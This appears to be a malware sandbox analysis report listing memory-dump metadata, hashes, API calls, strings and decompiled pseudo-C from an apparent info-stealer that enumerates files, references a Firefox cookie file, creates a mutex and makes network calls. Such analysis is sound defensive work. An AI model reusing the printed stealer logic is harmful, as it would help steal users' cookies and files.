Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeLocal
String ID:
API String ID: 2826327444-0
Opcode ID: 38dd199c4f0c121f0ad27b3cccfc0052999ba1917e57d09d5119ecbd186de782
Instruction ID: ef33778294753aa54e7f7d2c5df33d66e96767dbe31cdff2da17f2a52da10caf
Opcode Fuzzy Hash: 38dd199c4f0c121f0ad27b3cccfc0052999ba1917e57d09d5119ecbd186de782
Instruction Fuzzy Hash: DD21B071700115EBC714CBA9CD88E9FBBB9EF89704B2001ADF109EB291DA75ED41DB68

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00406725 Relevance: 37.1, APIs: 18, Strings: 3, Instructions: 321stringCOMMON

Download Yara Rule

APIs

StrCpyW.SHLWAPI(00000000,00000000), ref: 0040674F

Part of subcall function 0040A503: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00408633), ref: 0040A516
Part of subcall function 0040A503: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A51D
Part of subcall function 0040A503: LocalAlloc.KERNEL32(00000040,00000000,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A533
Part of subcall function 0040A503: GlobalFree.KERNEL32(?), ref: 0040A550

PathCombineW.SHLWAPI(00000000,00000000,0000002E), ref: 004067B9
lstrlenW.KERNEL32 ref: 00406895
lstrlenW.KERNEL32(00000010), ref: 004068A0

Strings

\ffcookies.txt, xrefs: 004068CE
qJY0dM4bL2iCmCkB0xRTPyUYzWLBBdoRsvCMw5OPuOUu5D/WSnm8XWBQQd1dRppV2X1QPNCj2QOOrcTbU7PhSBvW1Uu7n4QMZC/bZPxGZyzuzFBVkze7GjYGb2lhMHHzsO, xrefs: 004067D6, 004067DB, 004067E8, 004067F5
., xrefs: 0040678F

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: lstrlen$AllocCombineFreeGlobalLocalPath
String ID: .$\ffcookies.txt$qJY0dM4bL2iCmCkB0xRTPyUYzWLBBdoRsvCMw5OPuOUu5D/WSnm8XWBQQd1dRppV2X1QPNCj2QOOrcTbU7PhSBvW1Uu7n4QMZC/bZPxGZyzuzFBVkze7GjYGb2lhMHHzsO
API String ID: 3891494632-3746940087
Opcode ID: 879cdd130a76642c1f8c34f2d893b4faa5a20bcdfa89c983fccbb66d58194033
Instruction ID: 20c570a6cb6be533e63ae3ac294d5736f0af275dc5b24bb95add0a5715bb0c19
Opcode Fuzzy Hash: 879cdd130a76642c1f8c34f2d893b4faa5a20bcdfa89c983fccbb66d58194033
Instruction Fuzzy Hash: D9C16FB1E00219AFDB04DFA6DD44AAEBBB5EB88310F104839F915B7391DB745D11CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004039D7 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 223
fileCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E004039D7(intOrPtr __ecx, intOrPtr __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, void* _a12, intOrPtr* _a16) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				void* _v32;
				void* _v36;
				intOrPtr _v40;
				signed int _v44;
				intOrPtr _v48;
				void* _v52;
				void* _v56;
				char _v608;
				signed char _v652;
				void* _t47;
				void* _t50;
				void* _t57;
				void* _t60;
				void* _t68;
				void* _t70;
				void* _t71;
				void* _t72;
				void* _t74;
				void* _t76;
				void* _t78;
				void* _t80;
				intOrPtr _t81;
				intOrPtr _t84;
				intOrPtr _t98;
				intOrPtr _t101;
				void* _t102;
				intOrPtr _t129;
				intOrPtr _t132;
				intOrPtr _t133;
				intOrPtr _t135;
				intOrPtr _t137;
				intOrPtr _t139;
				void* _t143;
				DWORD* _t144;
				void* _t145;
				void* _t149;

				_t101 = __ecx;
				_v24 = __edx;
				_v40 = __ecx;
				_t47 = E0040A503( *((intOrPtr*)( *0x40e044))(0x40, 0x208), __ecx);
				_t129 =  *0x40e1d0; // 0x735c00
				_t143 = E0040A503(_t47, _t129);
				_v20 = _t143;
				_t50 =  *((intOrPtr*)( *0x40e018))(_t143,  &_v652);
				_v16 = _t50;
				if(_t50 != 0xffffffff) {
					_t144 = 0;
					do {
						if((_v652 & 0x00000010) != 0) {
							goto L11;
						} else {
							_push(L"..");
							_push( &_v608);
							if( *((intOrPtr*)( *0x40e0a0))() == 0) {
								goto L11;
							} else {
								_t57 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
								_t149 =  *((intOrPtr*)( *0x40e000))(_t57, _t101,  &_v608);
								_v36 = _t149;
								_v8 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
								_t60 = E0040A69E( *0x40e044,  &_v8);
								_t102 = _v8;
								if(_t60 == 0) {
									L16:
									LocalFree(_t102);
									LocalFree(_t149);
									DeleteFileW(_t102);
								} else {
									_push(_t144);
									_push(_t102);
									_push(_t149);
									if( *((intOrPtr*)( *0x40e184))() == 0) {
										goto L16;
									} else {
										_t68 =  *((intOrPtr*)( *0x40e03c))(_t102, 0x80000000, 1, _t144, 4, _t144, _t144);
										_v32 = _t68;
										GetFileSize(_t68, _t144);
										_t70 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
										_t71 =  *((intOrPtr*)( *0x40e13c))(_t70,  *0x40e1b8);
										_t132 =  *0x40e1b4; // 0x74e6a0
										_t72 = E0040A503(_t71, _t132);
										_t133 =  *0x40e1b8; // 0x735de0
										_t74 = E0040A503(E0040A503(_t72, _t133), _v24);
										_t135 =  *0x40e1ec; // 0x735d80
										_t76 = E0040A503(E0040A503(_t74, _t135), _a4);
										_t137 =  *0x40e1ec; // 0x735d80
										_t78 = E0040A503(E0040A503(_t76, _t137), _a8);
										_t139 =  *0x40e1b8; // 0x735de0
										_t80 = E0040A503(E0040A503(_t78, _t139),  &_v608);
										_v12 = _t80;
										_t81 =  *((intOrPtr*)( *0x40e0e4))(0xfde9, _t144, _t80, 0xffffffff, _t144, _t144, _t144, _t144);
										_v28 = _t81;
										_t22 = _t81 + 0x40; // 0x40
										_t145 =  *((intOrPtr*)( *0x40e044))(0x40, _t22);
										_v8 =  *((intOrPtr*)( *0x40e044))(0x40, 0x20a);
										_t84 = _v28;
										if(_t84 == 0) {
											LocalFree(_t145);
											LocalFree(_v8);
											goto L10;
										} else {
											_push(0);
											_push(0);
											_push(_t84);
											_push(_t145);
											_push(0xffffffff);
											_push(_v12);
											_push(0);
											_push(0xfde9);
											if( *((intOrPtr*)( *0x40e0e4))() == 0) {
												LocalFree(_v12);
												LocalFree(_t145);
												LocalFree(_t102);
												LocalFree(_t149);
												LocalFree(_v8);
												break;
											} else {
												_v52 = _v32;
												_v56 = _t145;
												_t98 =  *((intOrPtr*)( *0x40e13c))(_v8, _t102);
												_t126 = _a16;
												_v44 = _v44 & 0x00000000;
												_v48 = _t98;
												 *_t126 =  *_a16 + 1;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t149 = _v36;
												L10:
												LocalFree(_t102);
												LocalFree(_t149);
												_t101 = _v40;
												_t144 = 0;
												goto L11;
											}
										}
									}
								}
							}
						}
						L13:
						LocalFree(_v20);
						goto L14;
						L11:
						_push( &_v652);
						_push(_v16);
					} while ( *((intOrPtr*)( *0x40e148))() != 0);
					FindClose(_v16);
					goto L13;
				}
				L14:
				return 0;
			}

0x004039ed
0x004039ef
0x004039f4
0x004039fd
0x00403a02
0x00403a15
0x00403a1d
0x00403a22
0x00403a24
0x00403a2a
0x00403a30
0x00403a32
0x00403a39
0x00000000
0x00403a3f
0x00403a4a
0x00403a4f
0x00403a54
0x00000000
0x00403a5a
0x00403a66
0x00403a7f
0x00403a88
0x00403a90
0x00403a93
0x00403a98
0x00403a9d
0x00403c78
0x00403c79
0x00403c80
0x00403c87
0x00403aa3
0x00403aa8
0x00403aa9
0x00403aaa
0x00403aaf
0x00000000
0x00403ab5
0x00403ac7
0x00403acb
0x00403ace
0x00403ae1
0x00403af0
0x00403af2
0x00403afa
0x00403aff
0x00403b11
0x00403b16
0x00403b28
0x00403b2d
0x00403b3f
0x00403b44
0x00403b59
0x00403b71
0x00403b74
0x00403b7c
0x00403b7f
0x00403b8d
0x00403b98
0x00403b9b
0x00403ba0
0x00403bfb
0x00403c04
0x00000000
0x00403ba2
0x00403baa
0x00403bab
0x00403bac
0x00403bad
0x00403bae
0x00403bb0
0x00403bb3
0x00403bb4
0x00403bbd
0x00403c52
0x00403c59
0x00403c60
0x00403c67
0x00403c70
0x00000000
0x00403bc3
0x00403bca
0x00403bd2
0x00403bd5
0x00403bd7
0x00403bdd
0x00403be1
0x00403bef
0x00403bf1
0x00403bf2
0x00403bf3
0x00403bf4
0x00403bf5
0x00403c0a
0x00403c0b
0x00403c12
0x00403c18
0x00403c1b
0x00000000
0x00403c1b
0x00403bbd
0x00403ba0
0x00403aaf
0x00403a9d
0x00403a54
0x00403c3f
0x00403c42
0x00000000
0x00403c1d
0x00403c28
0x00403c29
0x00403c2e
0x00403c39
0x00000000
0x00403c39
0x00403c4a
0x00403c4e

APIs

Part of subcall function 0040A503: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00408633), ref: 0040A516
Part of subcall function 0040A503: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A51D
Part of subcall function 0040A503: LocalAlloc.KERNEL32(00000040,00000000,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A533
Part of subcall function 0040A503: GlobalFree.KERNEL32(?), ref: 0040A550

GetFileSize.KERNEL32(00000000,00000000), ref: 00403ACE
LocalFree.KERNEL32(00000000), ref: 00403BFB
LocalFree.KERNEL32(?), ref: 00403C04
LocalFree.KERNEL32(?), ref: 00403C0B
LocalFree.KERNEL32(00000000), ref: 00403C12
FindClose.KERNEL32(00000002), ref: 00403C39
LocalFree.KERNEL32(00000002), ref: 00403C42
LocalFree.KERNEL32(?), ref: 00403C52
LocalFree.KERNEL32(00000000), ref: 00403C59
LocalFree.KERNEL32(?), ref: 00403C60
LocalFree.KERNEL32(00000000), ref: 00403C67
LocalFree.KERNEL32(?), ref: 00403C70
LocalFree.KERNEL32(?), ref: 00403C79
LocalFree.KERNEL32(00000000), ref: 00403C80
DeleteFileW.KERNEL32(?), ref: 00403C87

Part of subcall function 0040A69E: LocalFree.KERNEL32(00000000,?,?,0040B2D2), ref: 0040A701

Strings

]s, xrefs: 00403AFF, 00403B44

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeLocal$Filelstrlen$AllocCloseDeleteFindGlobalSize
String ID: ]s
API String ID: 2451396805-573085443
Opcode ID: 9370600c59216989510f23ec487aef7104cddeb0ef86d2a44abe813380e230b8
Instruction ID: a054592f1a26ae81db5b8b4afeeb8fb0c3e9f03fa1f4561a45be05a4ad2e9d15
Opcode Fuzzy Hash: 9370600c59216989510f23ec487aef7104cddeb0ef86d2a44abe813380e230b8
Instruction Fuzzy Hash: 64718571A00214AFDB04DFB2DD49EAE77B9EB84310F104939F515B7290DB749D11CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00409064 Relevance: 7.5, APIs: 5, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00409064(void* __eflags, intOrPtr* _a4) {
				void* _t13;
				void* _t17;
				intOrPtr* _t19;

				_t13 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
				_t17 =  *((intOrPtr*)( *0x40e044))(0x40, 0x400);
				GetLocaleInfoW(GetUserDefaultLCID(), 0x1001, _t13, 0x104);
				wsprintfW(_t17,  *0x40e47c, _t13);
				_t19 = _a4;
				 *_t19 = E0040A503( *_t19, _t17);
				LocalFree(_t13);
				LocalFree(_t17);
				return 1;
			}

0x0040907e
0x0040908f
0x004090a3
0x004090ad
0x004090b3
0x004090c3
0x004090c5
0x004090cc
0x004090d9

APIs

GetUserDefaultLCID.KERNEL32(00001001,00000000,00000104,?,00409A50,00000000), ref: 0040909C
GetLocaleInfoW.KERNEL32(00000000,?,00409A50,00000000,?,?,?,?,?,?,?,?,?,?,?,00407B1E), ref: 004090A3
wsprintfW.USER32 ref: 004090AD

Part of subcall function 0040A503: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00408633), ref: 0040A516
Part of subcall function 0040A503: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A51D
Part of subcall function 0040A503: LocalAlloc.KERNEL32(00000040,00000000,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A533
Part of subcall function 0040A503: GlobalFree.KERNEL32(?), ref: 0040A550

LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B1E), ref: 004090C5
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407B1E), ref: 004090CC

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeLocal$lstrlen$AllocDefaultGlobalInfoLocaleUserwsprintf
String ID:
API String ID: 539592093-0
Opcode ID: 76169cde5809fa79702d2641542e8c4a75ae3637547db9aa1a8f316083ef7260
Instruction ID: 624d8c4e8efa692e5b23cff9d3e49fd3310a2e312a93838384a0c37449368444
Opcode Fuzzy Hash: 76169cde5809fa79702d2641542e8c4a75ae3637547db9aa1a8f316083ef7260
Instruction Fuzzy Hash: 84F0C8B1200214BFF3005BA6AD89E6777ACEB48724F004435F748B7290CAB46C20866D

Uniqueness

Uniqueness Score: -1.00%

Function 00406468 Relevance: 6.1, APIs: 4, Instructions: 137encryptionCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(0040687A,00000000), ref: 004064AB
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,?), ref: 0040655B
LocalFree.KERNEL32(00000000), ref: 00406575
LocalFree.KERNEL32(?), ref: 004065CA

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeLocal$BinaryByteCharCryptMultiStringWide
String ID:
API String ID: 565018292-0
Opcode ID: df6aafc65f9139ff203c29d94f7da2d3df286550dae747009e72aef9e32236be
Instruction ID: ac64a0b193ce7f41f530b5697522d6c2b33bbf0bf2498a0822923da046ee8569
Opcode Fuzzy Hash: df6aafc65f9139ff203c29d94f7da2d3df286550dae747009e72aef9e32236be
Instruction Fuzzy Hash: 93417A71A00215AFEB14CBA6DD81FBEBBF8EF88710F104429F605F7290D774A9118B69

Uniqueness

Uniqueness Score: -1.00%

Function 0040177F Relevance: 4.6, APIs: 3, Instructions: 53COMMON

Download Yara Rule

APIs

StrCpyW.SHLWAPI(?,00000000), ref: 004017DB
LocalFree.KERNEL32(00000000), ref: 004017E2
LocalFree.KERNEL32(00000000), ref: 004017ED

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeLocal
String ID:
API String ID: 2826327444-0
Opcode ID: af2a643a322c620d98a535cd9c71554de113ed27803ffe39f131d2213ba6c728
Instruction ID: 0e35f1b792878b3a1d48bea3d62df56abb982cd26097e817133252b33d58790c
Opcode Fuzzy Hash: af2a643a322c620d98a535cd9c71554de113ed27803ffe39f131d2213ba6c728
Instruction Fuzzy Hash: 5D01DF72200115FBEB188BAAED84FAB77ACEF48350F000434F605F72A0DAB0DD1096B8

Uniqueness

Uniqueness Score: -1.00%

Function 0040A1FE Relevance: 1.3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

Strings

iqroq5112542785672901323, xrefs: 0040A20C

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID:
String ID: iqroq5112542785672901323
API String ID: 0-2937663778
Opcode ID: 154cf3943ec8f6ec358a9f88ce128c597753e00986442f5e2a7e9fe34025ec4f
Instruction ID: dfc9d6c5e4fbc171aed8fd1b755dd2b3d2cfba8e4e0761005cd4e136b75d37ee
Opcode Fuzzy Hash: 154cf3943ec8f6ec358a9f88ce128c597753e00986442f5e2a7e9fe34025ec4f
Instruction Fuzzy Hash: D0E06D315012256AE724D7F5EC49FAA77AC9B09214F1000A5E915E6380EAB4EE148AAA

Uniqueness

Uniqueness Score: -1.00%

Function 004017FA Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc3abbeb411ed60e74f6ddeee8f85890bcfd83d19f0f3362f9051b6dc7ab35d3
Instruction ID: 395fbee96700efcf13294783634cb000bafa4e7164606bd30abd8be72a67e938
Opcode Fuzzy Hash: cc3abbeb411ed60e74f6ddeee8f85890bcfd83d19f0f3362f9051b6dc7ab35d3
Instruction Fuzzy Hash: 79014472201121BFD7259B9BDC49E9B7FACEF4A7A0B000035F608E7350D6709D10C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 00590D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 894b21f823eebf797b90a5335aa433aaa4e84d6566b7ec04a8ca23f6749d8971
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 8701D676A006048FDF21DF64C804BAB37F9FB86316F4548B5D90AD72C2E774A941CB90

Uniqueness

Uniqueness Score: -1.00%

Function 005979D6 Relevance: 68.6, APIs: 31, Strings: 8, Instructions: 395synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00591272: LoadLibraryW.KERNEL32(0040C040), ref: 0059127D
Part of subcall function 00591272: LoadLibraryW.KERNEL32(0040C114), ref: 00591311

CoInitialize.OLE32(00000000), ref: 005979EA

Part of subcall function 0059A729: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,?,?,00000000,00000000), ref: 0059A758

CreateMutexW.KERNEL32(00000000,00000000,iqroq5112542785672901323), ref: 00597A55
ExitProcess.KERNEL32 ref: 00597A5F
LocalFree.KERNEL32(00000000), ref: 00597B64
LocalFree.KERNEL32(00000000), ref: 00597B6B
LocalFree.KERNEL32(00000000), ref: 00597B72
LocalFree.KERNEL32(00000000), ref: 00597BDD
LocalFree.KERNEL32(00000000), ref: 00597BE8
LocalFree.KERNEL32(00000000), ref: 00597C07
LocalFree.KERNEL32(?), ref: 00597C10
LocalFree.KERNEL32(?), ref: 00597C19
ExitProcess.KERNEL32 ref: 00597C68
ExitProcess.KERNEL32 ref: 00597C9E

Strings

iqroq5112542785672901323, xrefs: 00597A40, 00597A45, 00597A52
, xrefs: 00597A96
76426c3f362f5a47a469f0e9d8bc3eef, xrefs: 005979F0
, xrefs: 00597A7E
(_u, xrefs: 00597B3B
, xrefs: 00597AA9
, xrefs: 00597A8A
8t, xrefs: 00597CE1

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeLocal$ExitProcess$LibraryLoad$ByteCharCreateInitializeMultiMutexWide
String ID: $ $ $ $(_u$76426c3f362f5a47a469f0e9d8bc3eef$8t$iqroq5112542785672901323
API String ID: 1864685469-2799289165
Opcode ID: c558d2bf8f2b5ab25cdbf621f3a43ffca48a0fa9f05b2738d3e56535cb160897
Instruction ID: 98624588ebcb85907b36dee0cfbe10ee101b5f9248d8ca670e2d93b186d12048
Opcode Fuzzy Hash: c558d2bf8f2b5ab25cdbf621f3a43ffca48a0fa9f05b2738d3e56535cb160897
Instruction Fuzzy Hash: 19D1B371A00215ABDF04ABB2DE49A6E7BB5FF88300F004839F905B7391DF749D118BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041C17E Relevance: 66.9, APIs: 30, Strings: 8, Instructions: 431COMMON

Download Yara Rule

APIs

__invoke_watson_if_error.LIBCMTD ref: 0041C1C2
_wcscat_s.LIBCMTD ref: 0041C3DA

Part of subcall function 00429010: __errno.LIBCMTD ref: 00429064

__invoke_watson_if_error.LIBCMTD ref: 0041C3E3
_wcscat_s.LIBCMTD ref: 0041C412

Part of subcall function 00429010: _memset.LIBCMT ref: 004290EB
Part of subcall function 00429010: __errno.LIBCMTD ref: 00429129

__invoke_watson_if_error.LIBCMTD ref: 0041C41B
__errno.LIBCMTD ref: 0041C437

Part of subcall function 00419D50: __getptd_noexit.LIBCMTD ref: 00419D56

__errno.LIBCMTD ref: 0041C444
__errno.LIBCMTD ref: 0041C4A5
__invoke_watson_if_oneof.LIBCMTD ref: 0041C4AD
__errno.LIBCMTD ref: 0041C4B5
_wcscpy_s.LIBCMTD ref: 0041C4F2
__invoke_watson_if_error.LIBCMTD ref: 0041C4FB
__invoke_watson_if_oneof.LIBCMTD ref: 0041C59E
_wcscpy_s.LIBCMTD ref: 0041C5D6
__invoke_watson_if_error.LIBCMTD ref: 0041C5DF
__itow_s.LIBCMTD ref: 0041C1B9

Part of subcall function 0042B800: _xtow_s@20.LIBCMTD ref: 0042B82B

__errno.LIBCMTD ref: 0041C248
__errno.LIBCMTD ref: 0041C255
__strftime_l.LIBCMTD ref: 0041C279
__errno.LIBCMTD ref: 0041C2AA
__invoke_watson_if_oneof.LIBCMTD ref: 0041C2B2
__errno.LIBCMTD ref: 0041C2BA
_wcscpy_s.LIBCMTD ref: 0041C2F7
__invoke_watson_if_error.LIBCMTD ref: 0041C300
_wcscpy_s.LIBCMTD ref: 0041C353
__invoke_watson_if_error.LIBCMTD ref: 0041C35C
_wcscat_s.LIBCMTD ref: 0041C38D
__invoke_watson_if_error.LIBCMTD ref: 0041C396

Strings

hHY@, xrefs: 0041C36B
RL, xrefs: 0041C56E
h ]@, xrefs: 0041C375
t8j, xrefs: 0041C5AD
t9j, xrefs: 0041C805
hHY@, xrefs: 0041C584
,^@, xrefs: 0041C340, 0041C346
_@, xrefs: 0041C1F0, 0041C1F6

Memory Dump Source

Source File: 00000010.00000002.505948043.0000000000412000.00000020.00000001.01000000.00000004.sdmp, Offset: 00412000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_412000_F0geI.jbxd

Similarity

API ID: __errno$__invoke_watson_if_error$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__getptd_noexit__itow_s__strftime_l_memset_xtow_s@20
String ID: _@$,^@$RL$h ]@$hHY@$hHY@$t8j$t9j
API String ID: 154763593-3339620195
Opcode ID: 881b4aeba09eb3c435e12e92552ecad2261c4f15f16f2ed09f10854b13da102d
Instruction ID: 3eb14a9a913676cf952d3c5baa468fbbeb682016143a5da59d3750aa6422998d
Opcode Fuzzy Hash: 881b4aeba09eb3c435e12e92552ecad2261c4f15f16f2ed09f10854b13da102d
Instruction Fuzzy Hash: C60271B4A80714AADB20DF50DC86FDF7374AB14746F1041AAF608B62C1D7BC9A94CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00598142 Relevance: 51.2, APIs: 22, Strings: 7, Instructions: 477networkfileCOMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000,?,?,?,?,?,0059297C,00000000,00000000,00000000), ref: 005982B4
LocalFree.KERNEL32(?,?,?,?,?,?,0059297C,00000000,00000000,00000000), ref: 0059833D
LocalFree.KERNEL32(00000000,?,?,?,?,?,0059297C,00000000,00000000,00000000), ref: 00598344
LocalFree.KERNEL32(00000000,?,?,?,?,?,0059297C,00000000,00000000,00000000), ref: 0059834B
LocalFree.KERNEL32(00000000,?,?,?,?,?,0059297C,00000000,00000000,00000000), ref: 00598354
LocalFree.KERNEL32(?,?,?,?,?,?,0059297C,00000000,00000000,00000000), ref: 00598389
LocalFree.KERNEL32(00000000,?,?,?,?,?,0059297C,00000000,00000000,00000000), ref: 00598390
CloseHandle.KERNEL32(-00000004,?,?,?,?,?,0059297C,00000000,00000000), ref: 00598497
LocalFree.KERNEL32(?,?,?,?,?,?,0059297C,00000000,00000000), ref: 005984A6
DeleteFileW.KERNEL32(?,?,?,?,?,?,0059297C,00000000,00000000), ref: 005984B5
LocalFree.KERNEL32(?,?,?,?,?,?,0059297C,00000000,00000000), ref: 005984BE
LocalFree.KERNEL32(0000002F,?,?,?,?,?,0059297C,00000000,00000000), ref: 005984C7
LocalFree.KERNEL32(00000000,?,?,?,?,?,0059297C,00000000,00000000), ref: 00598548
InternetSetOptionW.WININET(00000000,00000006,?,00000004), ref: 00598579
InternetSetOptionW.WININET(00000000,00000005,?,00000004), ref: 00598588
InternetCloseHandle.WININET(?), ref: 00598654
InternetCloseHandle.WININET(00000002), ref: 00598660
InternetCloseHandle.WININET(00000000), ref: 00598667
LocalFree.KERNEL32(00000000,?,?,?,?,?,0059297C,00000000,00000000), ref: 005986D5
LocalFree.KERNEL32(00000000,?,?,?,?,?,0059297C,00000000,00000000), ref: 005986DE
LocalFree.KERNEL32(00000000,?,?,?,?,?,0059297C,00000000,00000000), ref: 005986E5
LocalFree.KERNEL32(00000001,?,?,?,?,?,0059297C,00000000,00000000), ref: 005986EE

Strings

@Mu, xrefs: 005983D5, 005984F7, 0059850E
`[s, xrefs: 0059821F
|)Y, xrefs: 005985EC
/, xrefs: 005981B8
`bu, xrefs: 00598244
@[s, xrefs: 00598237, 00598266, 00598280, 0059828D, 005982A4
`Lu, xrefs: 005983C8, 005983EC, 0059841C, 00598436, 00598443, 005984EA

Memory Dump Source

Source File: 00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp, Offset: 00590000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_590000_F0geI.jbxd

Yara matches

Similarity

API ID: FreeLocal$Internet$CloseHandle$Option$DeleteFile
String ID: /$@Mu$@[s$`Lu$`[s$`bu$|)Y
API String ID: 3877996606-3679769894
Opcode ID: 44b8c5c6b5931157c93208281ed44bf5aaa786017533818b3ea69a1034d7864d
Instruction ID: e03b7f06b5b3a5e6056806dae38c69e574928ad635b6dfa56d74fb8313b344b8
Opcode Fuzzy Hash: 44b8c5c6b5931157c93208281ed44bf5aaa786017533818b3ea69a1034d7864d
Instruction Fuzzy Hash: 9B02A075A00215AFEF04DFB5DD49A7E7BB5FB88700F008828E905B7290DB74AD11CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00406D26 Relevance: 49.4, APIs: 23, Strings: 5, Instructions: 419
fileCOMMON

Download Yara Rule

C-Code - Quality: 19%

			E00406D26(intOrPtr* __ecx, intOrPtr* __edx, intOrPtr _a4, char* _a8) {
				intOrPtr _v8;
				void* _v12;
				signed int _v16;
				signed int _v20;
				void* _v24;
				void* _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				void* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				signed int _v60;
				intOrPtr _v64;
				void* _v68;
				void* _v72;
				signed int _v76;
				intOrPtr _v80;
				intOrPtr* _v84;
				intOrPtr* _v88;
				void* _v92;
				intOrPtr _t104;
				intOrPtr _t105;
				intOrPtr _t106;
				intOrPtr _t107;
				intOrPtr _t108;
				void* _t110;
				void* _t111;
				void* _t113;
				void* _t119;
				void* _t121;
				void* _t132;
				intOrPtr* _t133;
				void* _t140;
				void* _t142;
